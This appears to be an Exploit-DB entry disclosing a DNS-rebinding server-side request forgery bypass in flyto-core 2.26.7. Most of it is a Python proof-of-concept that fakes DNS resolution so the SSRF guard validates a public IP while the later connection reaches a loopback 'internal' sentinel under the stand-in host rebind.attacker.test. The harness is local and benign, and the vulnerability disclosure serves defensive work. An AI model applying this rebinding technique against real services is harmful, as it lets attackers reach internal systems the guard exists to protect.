flyto_core 2.26.7 - Server-Side Request Forgery

EDB-ID:

52651

CVE:

N/A




Platform:

Multiple

Date:

2026-08-17


# Exploit Title: flyto_core 2.26.7- Server-Side Request Forgery 

# Date: 2026-07-17

# Exploit Author: Pig-Tail (Jorge González Milla)

# Vendor Homepage: https://github.com/flytohub/flyto-core 

# Software Link: https://github.com/flytohub/flyto-core 

# Version: flyto-core <= 2.26.7 (fixed 2.26.8)

# Tested on: Linux

# CVE: N/A

# Category: webapps

# Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/GHSA-6pm8-6f34-9v3g-flyto-core 



validate_url_ssrf() validates a resolved IP but the client re-resolves and connects without pinning; a TTL=0 rebind reaches internal targets. Advisory: GHSA-6pm8-6f34-9v3g.



The PoC is a benign, local verification harness (sentinel-based; no network attack, no

persistence, no destructive payload). Run against a local instance of the affected version.



--- PoC (poc_dns_rebinding.py) ---

"""PoC: DNS-rebinding SSRF bypass of validate_url_ssrf (resolve-then-connect, no IP pin).

Faithful & benign: a raw local TCP sentinel stands in for an internal service; socket.getaddrinfo

flips public->private across successive lookups exactly as an attacker TTL=0 DNS does.

The guard validates the FIRST resolution (public -> passes) while the CONNECT re-resolves to the

sentinel (private) -> internal reach that the guard was supposed to block."""

import os, sys, socket, threading, time

sys.path.insert(0, os.path.join(os.getcwd(), "src"))

from core.utils import validate_url_ssrf, SSRFError



# 1) internal "service" sentinel: raw TCP listener on loopback

srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

import errno

for _p in (8080, 8443):

    try:

        srv.bind(("127.0.0.1", _p)); break

    except OSError:

        continue

else:

    raise SystemExit("no allowed port free")

srv.listen(1)

PORT = srv.getsockname()[1]

hit = {"internal": False}

def accept_once():

    try:

        c,_ = srv.accept(); hit["internal"] = True; c.close()

    except OSError:

        pass

threading.Thread(target=accept_once, daemon=True).start()



HOST = "rebind.attacker.test"

PUBLIC = "93.184.216.34"   # example.com, public -> guard must ALLOW



# 2) attacker DNS: 1st lookup (the guard's) => public; later lookups (the connect's) => 127.0.0.1

_real = socket.getaddrinfo

calls = {"n": 0}

def flipping_getaddrinfo(host, port, *a, **k):

    if host == HOST:

        calls["n"] += 1

        ip = PUBLIC if calls["n"] == 1 else "127.0.0.1"

        return [(socket.AF_INET, socket.SOCK_STREAM, 6, "", (ip, port or 0))]

    return _real(host, port, *a, **k)

socket.getaddrinfo = flipping_getaddrinfo



# 3) GUARD runs (resolves #1 = public) -> should PASS

try:

    validate_url_ssrf(f" http://{HOST}:{PORT}/ ")

    print(f"[guard] validate_url_ssrf ALLOWED http://{HOST}:{PORT}/   (saw public {PUBLIC} on resolution #1)")

except SSRFError as e:

    print("[guard] blocked (rebinding not effective):", e); sys.exit(0)



# 4) the actual outbound CONNECT re-resolves (#2 = 127.0.0.1) -> lands on the internal sentinel

try:

    s = socket.create_connection((HOST, PORT), timeout=3); s.close()

except OSError as e:

    print("[connect] error:", e)

time.sleep(0.2)

socket.getaddrinfo = _real

print(f"[connect] outbound request re-resolved {HOST} -> 127.0.0.1 and reached the INTERNAL sentinel: {hit['internal']}")

print("BUG CONFIRMED: guard passed but connection reached the private/internal IP (DNS rebinding, no IP pin)"

      if hit["internal"] else "NOT CONFIRMED")

srv.close()